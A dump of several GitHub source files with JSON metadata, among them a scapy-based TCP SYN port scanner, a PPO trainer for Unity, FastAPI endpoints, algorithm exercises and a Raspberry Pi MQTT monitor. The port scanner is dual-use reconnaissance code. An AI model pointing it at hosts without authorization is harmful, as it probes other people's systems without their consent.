1\nICMP_CODE_PROTOCAL_UNREACHABLE = 2\nICMP_CODE_PORT_UNREACHABLE = 3\nICMP_CODE_ADMINISTRATIVELY_PROHIBITED = 13\nICMP_CODE = [ICMP_CODE_PORT_UNREACHABLE,\n ICMP_CODE_HOST_UNREACHABLE,\n ICMP_CODE_PROTOCAL_UNREACHABLE,\n ICMP_CODE_ADMINISTRATIVELY_PROHIBITED]\n\n\nclass Scanner():\n\n def __init__(self):\n self.ips = []\n self.timeout = 1\n self.status_ports = []\n self.ports = range(1, 1025)\n self.number_of_process = 10\n\n def scan(self, args):\n dst_ip, dst_port = args\n src_port = RandShort()\n answered, unanswered = sr(IP(dst=dst_ip) / TCP(sport=src_port,\n dport=dst_port, flags=\"S\"),\n timeout=self.timeout, verbose=False)\n for packet in unanswered:\n return packet.dst, packet.dport, \"Filtered\"\n\n for (send, recv) in answered:\n if(recv.haslayer(TCP)):\n flags = recv.getlayer(TCP).sprintf(\"%flags%\")\n if(flags == \"SA\"):\n # set RST to server in case of ddos attack\n send_rst = sr(IP(dst=dst_ip) / TCP(sport=src_port,\n dport=dst_port, flags=\"R\"),\n timeout=self.timeout, verbose=True)\n return dst_ip, dst_port, \"Open\"\n elif (flags == \"RA\" or flags == \"R\"):\n return dst_ip, dst_port, \"Closed\"\n elif(recv.haslayer(ICMP)):\n icmp_type = recv.getlayer(ICMP).type\n icmp_code = recv.getlayer(ICMP).code\n if(icmp_type == ICMP_TYPE_DESTINATION_UNREACHABLE and icmp_code in ICMP_CODE):\n return dst_ip, dst_port, \"Filtered\"\n else:\n return dst_ip, dst_port, \"CHECK\"\n\n def start(self):\n pool = Pool(processes=self.number_of_process)\n for ip in self.ips:\n for host, port, status in pool.imap_unordered(self.scan, [(ip, port) for port in self.ports]):\n self.status_ports.append(\n \"ip:{0}->port:{1} is {2}\".format(host, port, status))\n\n\ndef banner():\n banner_txt = \"\"\"\n _ __ ___ _ __| |_ ___ ___ __ _ _ __ _ __ ___ _ __ \n | '_ \\ / _ \\| '__| __/ __|/ __/ _` | '_ \\| '_ \\ / _ \\ '__|\n | |_) | (_) | | | |_\\__ \\ (_| (_| | | | | | | | __/ | \n | .__/ \\___/|_| \\__|___/\\___\\__,_|_| |_|_| |_|\\___|_| \n |_| \n\n\"A simple port scanner use syn scan\",Check status of given port\nAuthor:Samray \nMore Info:python3 syn_scan.py -h\n\"\"\"\n print(banner_txt)\n\n\ndef main():\n parser = argparse.ArgumentParser(parents=[argparse_parent_base.parser],\n description=banner(),\n add_help=True)\n args = parser.parse_args()\n scanner = Scanner()\n printer = Printer()\n if args.timeout:\n scanner.timeout = args.timeout\n if args.number_of_process:\n scanner.number_of_process = args.number_of_process\n if args.ports:\n ports = map(int, args.ports)\n scanner.ports = filter(valid_port, ports)\n if args.host_file:\n scanner.ips = read_host_from_file(args.host_file)\n scanner.ips += args.host\n scanner.start()\n if args.output_file:\n printer.filepath = args.output_file\n printer.list_to_file(scanner.status_ports)\n else:\n printer.list_to_console(scanner.status_ports)\nif __name__ == \"__main__\":\n start_time = time.time()\n main()\n print(\"---%s seconds ---\" % (time.time() - start_time))\n","repo_name":"ramsayleung/PortScanner","sub_path":"syn_scan.py","file_name":"syn_scan.py","file_ext":"py","file_size_in_byte":3958,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"52"} +{"seq_id":"23799154808","text":"import wandb\nimport numpy as np\nimport tensorflow as tf\n\nfrom typing import Deque, Dict, List, Tuple\n\nfrom keras.layers import Input, Dense\nfrom keras.models import Model\nfrom keras.optimizers import Adam\nfrom keras import backend as K\n\nfrom mlagents_envs.environment import UnityEnvironment\nfrom mlagents_envs.side_channel.engine_configuration_channel import (\n EngineConfigurationChannel,\n)\nfrom mlagents_envs.exception import (\n UnityEnvironmentException,\n UnityCommunicationException,\n UnityCommunicatorStoppedException,\n)\nfrom mlagents_envs.environment import ActionTuple\n\nENV_NAME = \"./DQN/build\"\nRUN_ID = \"train-1\"\nRESUME = True\nSUMMARY_FREQ = 10\n\nNUM_LAYERS = 2\nHIDDEN_UNITS = 512\nLEARNING_RATE = 3.0e-4\n\nBATCH_SIZE = 128\nBUFFER_SIZE = 128\nMAX_STEPS = 50\nNUM_EPOCH = 3\n\nLAMBDA = 0.95\nGAMMA = 0.99\nEPSILON = 0.2\nCRITIC_DISCOUNT = 0.5\nBETA = 0.001\n\n\nclass Actor_Critic:\n @staticmethod\n def ppo_loss(oldpolicy_probs, advantage, reward, value):\n def loss(y_true, y_pred):\n newpolicy_probs = y_true * y_pred\n old_prob = y_true * oldpolicy_probs\n\n ratio = newpolicy_probs / (old_prob + 1e-10)\n clip_ratio = K.clip(ratio, min_value=1 - EPSILON, max_value=1 + EPSILON)\n surrogate1 = ratio * advantage\n surrogate2 = clip_ratio * advantage\n\n actor_loss = -K.mean(K.minimum(surrogate1, surrogate2))\n critic_loss = K.mean(K.square(reward - value))\n entropy_loss = K.mean(\n -(newpolicy_probs * K.log(K.abs(newpolicy_probs) + 1e-10))\n )\n\n total_loss = (\n tf.constant(CRITIC_DISCOUNT) * critic_loss\n + actor_loss\n - tf.constant(BETA) * entropy_loss\n )\n return total_loss\n\n return loss\n\n @staticmethod\n def actor_model(input_dims, output_dims):\n observation = Input(shape=(input_dims,), name=\"observation_input\")\n oldpolicy_probs = Input(shape=(output_dims,), name=\"old_prediction_input\")\n advantage = Input(shape=(1,), name=\"advantage_input\")\n reward = Input(shape=(1,), name=\"reward_input\")\n value = Input(shape=(1,), name=\"value_input\")\n\n x = Dense(HIDDEN_UNITS, activation=\"tanh\", name=\"fc1\")(observation)\n for _ in range(NUM_LAYERS - 1):\n x = Dense(HIDDEN_UNITS, activation=\"tanh\")(x)\n policy = Dense(output_dims, activation=\"tanh\", name=\"policy\")(x)\n\n actor_network = Model(\n inputs=[observation, oldpolicy_probs, advantage, reward, value],\n outputs=[policy])\n\n actor_network.compile(\n optimizer=Adam(lr=LEARNING_RATE),\n loss=Actor_Critic.ppo_loss(\n oldpolicy_probs=oldpolicy_probs,\n advantage=advantage,\n reward=reward,\n value=value,\n ),\n run_eagerly=True,\n )\n actor_network.summary()\n return actor_network\n\n @staticmethod\n def critic_model(input_dims):\n observation = Input(shape=(input_dims,), name=\"observation_input\")\n\n x = Dense(HIDDEN_UNITS, activation=\"tanh\", name=\"fc1\")(observation)\n for _ in range(NUM_LAYERS - 1):\n x = Dense(HIDDEN_UNITS, activation=\"tanh\")(x)\n V = Dense(1, name=\"values\")(x) # activation='tanh'\n\n critic_network = Model(inputs=[observation], outputs=[V])\n critic_network.compile(optimizer=Adam(lr=LEARNING_RATE), loss=\"mse\")\n critic_network.summary()\n return critic_network\n\n\nclass AutopilotAgent:\n def __init__(self, env: UnityEnvironment):\n self.base_model_dir = \"model/\" + RUN_ID\n self.env = env\n self.env.reset()\n self.behavior_name = list(self.env.behavior_specs)[0]\n self.behavior_spec = self.env.behavior_specs[self.behavior_name]\n self.state_dims = sum([observation.shape[0] for observation in self.behavior_spec.observation_specs])\n self.n_actions = len(self.behavior_spec.action_spec.discrete_branches)\n\n self.dummy_n = np.zeros((1, self.n_actions))\n self.dummy_1 = np.zeros((1, 1))\n\n self.actor = Actor_Critic.actor_model(\n input_dims=self.state_dims, output_dims=self.n_actions\n )\n self.critic = Actor_Critic.critic_model(input_dims=self.state_dims)\n\n def save_model_weights(self, steps: int) -> None:\n actor_path = self.base_model_dir + \"/checkpoints/actor_weights_{}.ckpt\"\n critic_path = self.base_model_dir + \"/checkpoints/critic_weights_{}.ckpt\"\n\n self.actor.save_weights(actor_path.format(steps))\n self.critic.save_weights(critic_path.format(steps))\n\n def load_model_weights(self):\n _dir = self.base_model_dir + \"/checkpoints/\"\n latest = tf.train.latest_checkpoint(_dir)\n\n if latest == None:\n print(\"Model not found!\")\n return 0\n else:\n print(\"Loading model..\")\n\n self.actor.load_weights(latest.replace(\"critic\", \"actor\"))\n self.critic.load_weights(latest)\n\n # return last training step number.\n return int(latest.split(\"_\")[-1].split(\".\")[0])\n\n def save_model(self, steps):\n actor_path = self.base_model_dir + \"/actor_{}.hdf5\"\n critic_path = self.base_model_dir + \"/critic_{}.hdf5\"\n\n self.actor.save(actor_path.format(steps))\n self.critic.save(critic_path.format(steps))\n\n def get_advantages(self, values, masks, rewards):\n dis_returns = []\n gae = 0\n for i in reversed(range(len(rewards))):\n delta = rewards[i] + GAMMA * values[i + 1] * masks[i] - values[i]\n gae = delta + GAMMA * LAMBDA * masks[i] * gae\n dis_returns.insert(0, gae + values[i])\n\n adv = np.array(dis_returns) - values[:-1]\n return dis_returns, (adv - np.mean(adv)) / (np.std(adv) + 1e-10)\n\n def check_if_done(self, step_result) -> bool:\n if len(step_result[1].obs[0]) != 0:\n return True\n else:\n return False\n\n def step(self, action: np.ndarray) -> Tuple[np.ndarray, np.float64, bool]:\n self.env.set_actions(self.behavior_name, ActionTuple().add_discrete(np.array(action).reshape(1,3)))\n self.env.step()\n step_result = self.env.get_steps(self.behavior_name)\n done = self.check_if_done(step_result)\n next_obs = np.array([])\n\n if not done:\n next_obs = np.concatenate(step_result[0].obs, axis=1)\n reward = step_result[0].reward[0]\n else:\n next_obs = np.concatenate(step_result[1].obs, axis=1)\n reward = step_result[1].reward[0]\n return next_obs, reward, done\n\n def get_action(self, action_probs: np.ndarray, train: bool):\n no_of_agents = 1\n if train is True:\n action_matrix = action_probs[0] + np.random.normal(\n loc=0, scale=1.0, size=action_probs[0].shape\n )\n else:\n action_matrix = action_probs[0]\n\n action = np.clip(action_matrix, -1, 1)\n return np.reshape(action, (no_of_agents, self.n_actions)), action_matrix\n\n def get_buffer(self):\n observations = []\n actions = []\n old_predictions = []\n rewards = []\n values = []\n masks = []\n episode_lens = []\n counter = 0\n observation = np.array([])\n\n self.env.reset()\n step_result = self.env.get_steps(self.behavior_name)\n\n while len(observations) < BUFFER_SIZE:\n observation = np.concatenate(step_result[0].obs, axis=1)\n observation = observation[0].reshape(1,93)\n\n action_probs = self.actor.predict(\n [observation, self.dummy_n, self.dummy_1, self.dummy_1, self.dummy_1],\n steps=1,\n )\n q_value = self.critic.predict([observation], steps=1)\n\n action, action_matrix = self.get_action(action_probs, True)\n next_obs, reward, done = self.step(action)\n mask = not done\n \n observations.append(observation)\n actions.append(action_matrix)\n old_predictions.append(action_probs)\n rewards.append(reward)\n values.append(q_value)\n masks.append(mask)\n\n observation = next_obs\n counter += 1\n if done:\n episode_lens.append(counter)\n counter = 0\n self.env.reset()\n\n if len(episode_lens) == 0:\n episode_lens.append(0)\n\n observation = observation[0].reshape(1,93)\n q_value = self.critic.predict(observation, steps=1)\n values.append(q_value)\n discounted_returns, advantages = self.get_advantages(values, masks, rewards)\n\n observations = np.reshape(observations, (BUFFER_SIZE, self.state_dims))\n actions = np.reshape(actions, (BUFFER_SIZE, self.n_actions))\n old_predictions = np.reshape(old_predictions, (BUFFER_SIZE, self.n_actions))\n\n rewards = np.reshape(rewards, (BUFFER_SIZE, 1))\n values = np.reshape(values, (len(values), 1))\n advantages = np.reshape(advantages, (BUFFER_SIZE, 1))\n discounted_returns = np.reshape(discounted_returns, (BUFFER_SIZE, 1))\n\n return {\n \"observations\": observations,\n \"actions\": actions,\n \"old_predictions\": old_predictions,\n \"rewards\": rewards,\n \"values\": values[:-1],\n \"advantages\": advantages,\n \"discounted_returns\": discounted_returns,\n \"episode_lens\": episode_lens,\n }\n\n def train(self) -> None:\n if RESUME == True:\n start_pt = self.load_model_weights()\n step = 1 if (start_pt == 0) else start_pt + 1\n\n try:\n while step <= MAX_STEPS:\n buffer = self.get_buffer()\n\n observations = buffer[\"observations\"]\n actions = buffer[\"actions\"]\n old_predictions = buffer[\"old_predictions\"]\n rewards = buffer[\"rewards\"]\n values = buffer[\"values\"]\n advantages = buffer[\"advantages\"]\n discounted_returns = buffer[\"discounted_returns\"]\n episode_lens = buffer[\"episode_lens\"]\n\n actor_loss = self.actor.fit(\n [observations, old_predictions, advantages, rewards, values],\n [actions],\n batch_size=BATCH_SIZE,\n shuffle=False,\n epochs=NUM_EPOCH,\n verbose=1,\n )\n critic_loss = self.critic.fit(\n [observations],\n [discounted_returns],\n batch_size=BATCH_SIZE,\n shuffle=False,\n epochs=NUM_EPOCH,\n verbose=1,\n )\n\n print(actor_loss.history[\"loss\"], critic_loss.history[\"loss\"])\n wandb.log({'actor loss': np.mean(actor_loss.history[\"loss\"]), \n 'critic loss': np.mean(critic_loss.history[\"loss\"]),\n 'eps':np.max(episode_lens) , 'avg_reward':np.mean(rewards), \n 'advantages': np.mean(advantages)}, step=step)\n\n if step % SUMMARY_FREQ == 0:\n self.save_model_weights(step)\n step += 1\n except (\n KeyboardInterrupt,\n UnityCommunicationException,\n UnityEnvironmentException,\n UnityCommunicatorStoppedException,\n ) as ex:\n print(\"Some problem occurred, saving model\")\n self.save_model_weights(step)\n finally:\n self.save_model(step)\n self.env.close()\n\nif __name__ == \"__main__\":\n engine_config_channel = EngineConfigurationChannel()\n engine_config_channel.set_configuration_parameters(\n width=1800, height=900, time_scale=1.0\n )\n\n env = UnityEnvironment(\n file_name=ENV_NAME, seed=0, side_channels=[engine_config_channel]\n )\n wandb.init(project=\"dqn-ppo-autopilot-new\", name=\"dqn-ppo-autopilot-new\")\n\n agent = AutopilotAgent(env)\n agent.train()","repo_name":"rsuhaib678/Playing-games-with-reinforcement-learning","sub_path":"ppo_unity.py","file_name":"ppo_unity.py","file_ext":"py","file_size_in_byte":12266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"41734245783","text":"class RoleModel:\n def __init__(self, role_id, role_name=\"\", can_role=False, can_user=False, can_production=False, can_packing=False,\n can_inspection=False, can_inoculation=False, can_production_in_charge=False,\n can_production_reviewer=False,can_packing_in_charge=False,\n can_packing_reviewer=False,can_inspection_in_charge=False,\n can_inspection_reviewer=False):\n self.role_id = role_id\n self.role_name = role_name\n self.can_role = can_role\n self.can_user = can_user\n self.can_production = can_production\n self.can_packing = can_packing\n self.can_inspection = can_inspection\n self.can_inoculation = can_inoculation\n self.can_production_in_charge = can_production_in_charge\n self.can_production_reviewer = can_production_reviewer\n self.can_packing_in_charge = can_packing_in_charge\n self.can_packing_reviewer = can_packing_reviewer\n self.can_inspection_in_charge = can_inspection_in_charge\n self.can_inspection_reviewer = can_inspection_reviewer\n","repo_name":"nishanthsankar7/py-vaccine-supply-chain","sub_path":"RoleModel.py","file_name":"RoleModel.py","file_ext":"py","file_size_in_byte":1111,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"26871565389","text":"from src.exceptions import MessageException\nfrom src import roles, utils, schemas\nfrom src.database.access import get_db\nfrom fastapi import APIRouter, status, Query\nfrom fastapi import Depends\nfrom sqlalchemy.orm import Session\nfrom src.database import models\n\nfrom src.schemas.pagination import CustomPage\n\nrouter = APIRouter(tags=[\"favorites\"])\n\n\n@router.get(\n \"/users/{uid}/favorites/songs/\", response_model=CustomPage[schemas.SongBase]\n)\ndef get_favorite_songs(\n user: models.UserModel = Depends(utils.user.retrieve_user),\n role: roles.Role = Depends(roles.get_role),\n offset: int = Query(0, ge=0),\n limit: int = Query(50, ge=1, le=100),\n):\n return user.get_favorite_songs(role=role, offset=offset, limit=limit)\n\n\n@router.post(\"/users/{uid}/favorites/songs/\", response_model=schemas.SongBase)\ndef add_song_to_favorites(\n song: models.SongModel = Depends(utils.song.get_song),\n user: models.UserModel = Depends(utils.user.retrieve_user),\n pdb: Session = Depends(get_db),\n):\n if song in user.favorite_songs:\n raise MessageException(\n status_code=status.HTTP_409_CONFLICT, detail=\"Song already in favorites\"\n )\n user.add_favorite_song(pdb, song=song)\n return song\n\n\n@router.delete(\"/users/{uid}/favorites/songs/\")\ndef remove_song_from_favorites(\n song: models.SongModel = Depends(utils.song.get_song),\n user: models.UserModel = Depends(utils.user.retrieve_user),\n pdb: Session = Depends(get_db),\n):\n if song not in user.favorite_songs:\n raise MessageException(\n status_code=status.HTTP_404_NOT_FOUND, detail=\"Song not in favorites\"\n )\n user.remove_favorite_song(pdb, song=song)\n\n\n@router.get(\"/users/{uid}/favorites/albums/\", response_model=CustomPage[schemas.Album])\ndef get_favorite_albums(\n user: models.UserModel = Depends(utils.user.retrieve_user),\n role: roles.Role = Depends(roles.get_role),\n offset: int = Query(0, ge=0),\n limit: int = Query(50, ge=1, le=100),\n):\n favorite_albums = user.get_favorite_albums(role=role, offset=offset, limit=limit)\n\n return favorite_albums\n\n\n@router.post(\"/users/{uid}/favorites/albums/\", response_model=schemas.AlbumBase)\ndef add_album_to_favorites(\n album: models.AlbumModel = Depends(utils.album.get_album),\n user: models.UserModel = Depends(utils.user.retrieve_user),\n pdb: Session = Depends(get_db),\n):\n if album in user.favorite_albums:\n raise MessageException(\n status_code=status.HTTP_409_CONFLICT, detail=\"Album already in favorites\"\n )\n user.add_favorite_album(pdb, album=album)\n return album\n\n\n@router.delete(\"/users/{uid}/favorites/albums/\")\ndef remove_album_from_favorites(\n album: models.AlbumModel = Depends(utils.album.get_album),\n user: models.UserModel = Depends(utils.user.retrieve_user),\n pdb: Session = Depends(get_db),\n):\n if album not in user.favorite_albums:\n raise MessageException(\n status_code=status.HTTP_404_NOT_FOUND, detail=\"Album not in favorites\"\n )\n return user.remove_favorite_album(pdb, album=album)\n\n\n@router.get(\n \"/users/{uid}/favorites/playlists/\", response_model=CustomPage[schemas.PlaylistBase]\n)\ndef get_favorite_playlists(\n user: models.UserModel = Depends(utils.user.retrieve_user),\n role: roles.Role = Depends(roles.get_role),\n offset: int = Query(0, ge=0),\n limit: int = Query(50, ge=1, le=100),\n):\n return user.get_favorite_playlists(role=role, offset=offset, limit=limit)\n\n\n@router.post(\"/users/{uid}/favorites/playlists/\", response_model=schemas.PlaylistBase)\ndef add_playlist_to_favorites(\n playlist: models.PlaylistModel = Depends(utils.playlist.get_playlist),\n user: models.UserModel = Depends(utils.user.retrieve_user),\n pdb: Session = Depends(get_db),\n):\n if playlist in user.favorite_playlists:\n raise MessageException(\n status_code=status.HTTP_409_CONFLICT, detail=\"Playlist already in favorites\"\n )\n user.add_favorite_playlist(pdb, playlist=playlist)\n return playlist\n\n\n@router.delete(\"/users/{uid}/favorites/playlists/\")\ndef remove_playlist_from_favorites(\n playlist: models.PlaylistModel = Depends(utils.playlist.get_playlist),\n user: models.UserModel = Depends(utils.user.retrieve_user),\n pdb: Session = Depends(get_db),\n):\n if playlist not in user.favorite_playlists:\n raise MessageException(\n status_code=status.HTTP_404_NOT_FOUND, detail=\"Playlist not in favorites\"\n )\n return user.remove_favorite_playlist(pdb, playlist=playlist)\n","repo_name":"taller2-grupo5-rostov-1c2022/songs-server","sub_path":"src/app/favorites.py","file_name":"favorites.py","file_ext":"py","file_size_in_byte":4540,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"3936641528","text":"\n\"\"\"\nhttps://leetcode.com/problems/validate-binary-tree-nodes/\nYou have n binary tree nodes numbered from 0 to n - 1 where node i has two children leftChild[i] and rightChild[i], \nreturn true if and only if all the given nodes form exactly one valid binary tree.\n\nIf node i has no left child then leftChild[i] will equal -1, similarly for the right child.\n\nNote that the nodes have no values and that we only use the node numbers in this problem.\n\n\nExample 1:\nInput: n = 4, leftChild = [1,-1,3,-1], rightChild = [2,-1,-1,-1]\nOutput: true\n\nExample 2:\nInput: n = 4, leftChild = [1,-1,3,-1], rightChild = [2,3,-1,-1]\nOutput: false\n\nExample 3:\nInput: n = 2, leftChild = [1,0], rightChild = [-1,-1]\nOutput: false\n\nExample 4:\nInput: n = 6, leftChild = [1,-1,-1,4,-1,-1], rightChild = [2,-1,-1,5,-1,-1]\nOutput: false\n\n思路:判断每个孩子节点是否有合理的唯一的父亲节点\n\"\"\"\n\n\nclass Solution:\n def validateBinaryTreeNodes(self, n, leftChild, rightChild):\n D = {}\n for i, (left, right) in enumerate(zip(leftChild, rightChild)):\n if left != -1:\n if left in D or i > left:\n return False\n else:\n D[left] = i\n if right != -1:\n if right in D or i > right:\n return False\n else:\n D[right] = i\n if len(D) < n - 1:\n return False\n return True\n\n\nS = Solution()\nn = 4\nleftChild = [1, -1, 3, -1]\nrightChild = [2, 3, -1, -1]\nres = S.validateBinaryTreeNodes(n, leftChild, rightChild)\nprint(res)\n","repo_name":"wenjiaaa/Leetcode","sub_path":"P1001_P1500/1361-validate-binary-tree-nodes.py","file_name":"1361-validate-binary-tree-nodes.py","file_ext":"py","file_size_in_byte":1592,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"10292807561","text":"\"\"\"\n문자열 압축 - 3회차\n\"\"\"\n\n# 풀이 제한 시간 : 30분\n# 2021/01/14 12:25 ~ 13:05\n# 실패 - 시간 초과 (알고리즘은 정답)\n\ndef solution(s):\n n = len(s)\n answer = \"\"\n count = 1\n min_value = 1001\n \n for i in range(1, n+1):\n j = 0\n\n while j < n:\n if s[j:j+i] == s[j+i:j+2*i]:\n count += 1\n else:\n if count != 1:\n answer += str(count) + s[j:j+i]\n count = 1\n else:\n answer += s[j:j+i]\n\n j += i\n\n min_value = min(min_value, len(answer))\n answer = \"\"\n\n return min_value\n\nprint(solution(\"abcabcdede\"))","repo_name":"LeeSeok-Jun/Algorithms","sub_path":"algorithms_questions/ch12_implementaion/q9_2.py","file_name":"q9_2.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"15963168667","text":"class ConnectFourView:\n\n def draw_board(self, board):\n render_list = [ [None] * 7 for x in range(7) ]\n for x in range(7):\n for y in range(len(board[x])):\n render_list[x][y] = board[x][y]\n\n formated_list = [ self.color_code(y) for x in render_list for y in x]\n formatted_string = ''\n for y in range(6, -1, -1):\n for x in range(7):\n formatted_string += formated_list[(7 * x) + y] + ' '\n formatted_string += '\\n'\n print(formatted_string)\n\n def color_code(self, token):\n if token == 0:\n return \"\\033[1;31;40m X\"\n if token == 1:\n return \"\\033[1;33;40m X\"\n else:\n return \"\\033[1;37;40m *\"\n\nif __name__ == '__main__':\n array = [\n [],\n [],\n [0,0,1],\n [0],\n [1,1],\n [1],\n []\n ]\n\n renderer = ConnectFourView()\n renderer.draw_board(array)\n","repo_name":"mikelhomeless/Monte-Carlo-Tree-Search-Connect-4","sub_path":"view_controller.py","file_name":"view_controller.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"41260743737","text":"def MaximumSubarrayBrute(input_array):\n max_sum = input_array[0];\n start_index = 0;\n end_index = 0;\n\n i = 0\n for idx in input_array:\n running_sum = idx;\n if running_sum > max_sum:\n max_sum = running_sum\n start_index = i\n end_index = i\n j = i + 1\n for jdx in input_array[input_array.index(idx) + 1:]:\n running_sum += jdx\n if running_sum > max_sum:\n max_sum = running_sum\n start_index = i\n end_index = j\n j += 1\n i += 1\n\n return input_array[start_index:end_index + 1]\n\ndef MaximumSubarrayDivideandConquer(input_array, ldx, hdx):\n if ldx == hdx: # base case when there is only one element left\n return ldx, hdx, input_array[ldx]\n\n else: # for arrays with two or more elements, calculate midpoint mdx\n mdx = (ldx + hdx)//2 # divide the array into Left[ldx:mdx] and Right[mdx+1: hdx]\n Left_ldx, Left_hdx, Left_sum = MaximumSubarrayDivideandConquer(input_array, ldx, mdx)\n Cross_ldx, Cross_hdx, Cross_sum = MaxCrossingSubArray(input_array, ldx, mdx, hdx) # you will enter here if there are two elements left. ldx = mdx; mdx+1 = hdx\n Right_ldx, Right_hdx, Right_sum = MaximumSubarrayDivideandConquer(input_array, mdx+1, hdx)\n\n if Left_sum >= Right_sum and Left_sum >= Cross_sum:\n return Left_ldx, Left_hdx, Left_sum\n elif Right_sum >= Left_sum and Right_sum >= Cross_sum:\n return Right_ldx, Right_hdx, Right_sum\n else:\n return Cross_ldx, Cross_hdx, Cross_sum\n\ndef MaxCrossingSubArray(input_array, ldx, mdx, hdx):\n Left_sum = float('-inf')\n sum = 0\n\n # for idx in input_array[mdx:ldx:-1]:\n for idx in range(mdx,ldx-1,-1):\n sum += input_array[idx]\n if sum > Left_sum:\n Left_sum = sum\n max_left = idx\n\n Right_sum = float('-inf')\n sum = 0\n\n for idx in range(mdx+1,hdx+1):\n sum += input_array[idx]\n if sum > Right_sum:\n Right_sum = sum\n max_right = idx\n\n return max_left, max_right, Left_sum + Right_sum\n\n\n","repo_name":"magpayang/python_maximum_subarray","sub_path":"MaximumSubArray.py","file_name":"MaximumSubArray.py","file_ext":"py","file_size_in_byte":2129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"35621519203","text":"import os\nimport time\nimport socket\nimport paho.mqtt.client as mqtt\nimport psutil\nimport re\nimport subprocess\nimport shlex \nfrom subprocess import Popen, PIPE, STDOUT\nimport random\nfrom datetime import datetime\n\nREPETITIONS = 30\nMOSQUITO_CLIENT_NAME = socket.gethostname() +'_cpu_temperature_mqtt_' + str(random.randint(0, 100000))\n\n\ndef on_disconnect(client, userdata, rc):\n connect_to_broker()\n \n \ndef connect_to_broker():\n not_connected = True\n while not_connected:\n try:\n client.connect('myhomeipdk.hopto.org', port=1883)\n not_connected = False\n print(datetime.now())\n print('Im connected')\n time.sleep(10)\n except:\n print(datetime.now())\n print('Failed connection')\n time.sleep(3)\n \n \nclient = mqtt.Client(MOSQUITO_CLIENT_NAME)\nconnect_to_broker()\nclient.on_disconnect = on_disconnect\nclient.loop_start()\n\n\ndef read_wifi_strenght_from_cmd():\n p = subprocess.Popen(\"iwconfig\", stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n out = p.stdout.read().decode()\n m = re.findall('(wlan[0-9]+).*?Signal level=(-[0-9]+) dBm', out, re.DOTALL) # ex. [('wlan0', '-21')]\n p.communicate()\n return m[0][1]\n \ndef get_simple_cmd_output(cmd, stderr=STDOUT):\n \"\"\"\n Execute a simple external command and get its output.\n \"\"\"\n args = shlex.split(cmd)\n return (Popen(args, stdout=PIPE, stderr=stderr).communicate()[0]).decode(\"utf-8\") \n\ndef get_ping_time(host):\n print('getting ping')\n host = host.split(':')[0]\n cmd = \"fping {host} -C 10 -q\".format(host=host)\n try:\n res_arr = get_simple_cmd_output(cmd).strip().split(':')[-1]\n res = 0\n for val in res_arr.strip().split(' '):\n res += float(val)\n res /= 10\n except Exception as e:\n print(e)\n res = 1000\n return res\n\n\n\nwhile True:\n try:\n cpu_temp = 0\n cpu_usage = 0\n wifi_rssi = 0\n ping_time = get_ping_time('192.168.8.1')\n \n for i in range (REPETITIONS):\n cpu_temp += float( os.popen(\"cat /sys/class/thermal/thermal_zone0/temp\").read() ) / 1000\n cpu_usage += int(psutil.cpu_percent())\n wifi_rssi += int(read_wifi_strenght_from_cmd())\n time.sleep(2)\n \n cpu_temp /= REPETITIONS\n cpu_usage /= REPETITIONS\n wifi_rssi /= REPETITIONS\n \n client.publish(\"homeAssistant/systemStatus/garage_cpu_temperature_mqtt/cpuTemp\", \"{:.1f}\". format(cpu_temp))\n client.publish(\"homeAssistant/systemStatus/garage_cpu_temperature_mqtt/cpuUsage\", \"{:.1f}\". format(cpu_usage))\n client.publish(\"homeAssistant/systemStatus/garage_cpu_temperature_mqtt/wifi_rssi\", \"{:.1f}\". format(wifi_rssi))\n client.publish(\"homeAssistant/systemStatus/garage_cpu_temperature_mqtt/ping_time\", \"{:.1f}\". format(ping_time))\n except Exception as e:\n print(e)\n time.sleep(30)\n","repo_name":"AndreaCavagna/mqtt_gate_control_raspberry_pi","sub_path":"cpu_temperature_mqtt.py","file_name":"cpu_temperature_mqtt.py","file_ext":"py","file_size_in_byte":2811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"30805927106","text":"# -*- coding: utf-8 -*-\n\nfrom .handlers import base\nfrom .handlers import api\nimport tornado.web\nfrom .appconfig import AppConfig\nconfig = AppConfig()\nfrom settings import settings\n\nurl_patterns = [\n (r'/', base.MainHandler),\n (r'/recent/json', api.JsonHandler),\n (r'/info', api.InfoHandler),\n (r'/info(.json)', api.InfoHandler),\n (r'/info(.html)', api.InfoHandler),\n (r'/info/system2log.json', api.System2LogHandler),\n (r'/job/data.html', api.JobInfoHandler),\n (r'/job/data.json', api.JobHandler),\n (r'/joblist(.html)', api.JobListHandler),\n (r'/joblist(.json)', api.JobListHandler),\n (r'/tasklist.html', api.TaskHandler),\n (r'/test/(.*)/(.*)', api.TestHandler),\n (r'/build-notebook', api.NotebookHandler),\n (r'/static/(.*)', tornado.web.StaticFileHandler),\n (r'/tmp/(.*)', tornado.web.StaticFileHandler, {\"path\": config[\"DEFAULT\"][\"bigfile_tmp_path\"]}),\n (r'/data/(.*)', tornado.web.StaticFileHandler, {\"path\": config[\"DEFAULT\"][\"bigfile_path\"]}),\n (r'/favicon.ico', tornado.web.StaticFileHandler, {\"path\": './static/assets/img/favicon.ico'})\n\n\n]\n","repo_name":"MMTObservatory/database_dumper","sub_path":"db_dumper/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"28459862440","text":"import random\n\ndef adivinhe(x):\n numero_aleatorio = random.randint(1,x)\n palpite = 0\n\n while palpite != numero_aleatorio:\n\n palpite = int(input(f'Dê seu palpite entre 1 e {x}: '))\n if palpite < numero_aleatorio:\n print('Tente um número maior!')\n\n elif palpite > numero_aleatorio:\n print('Tente um número menor!')\n\n print(f'Parabéns, você 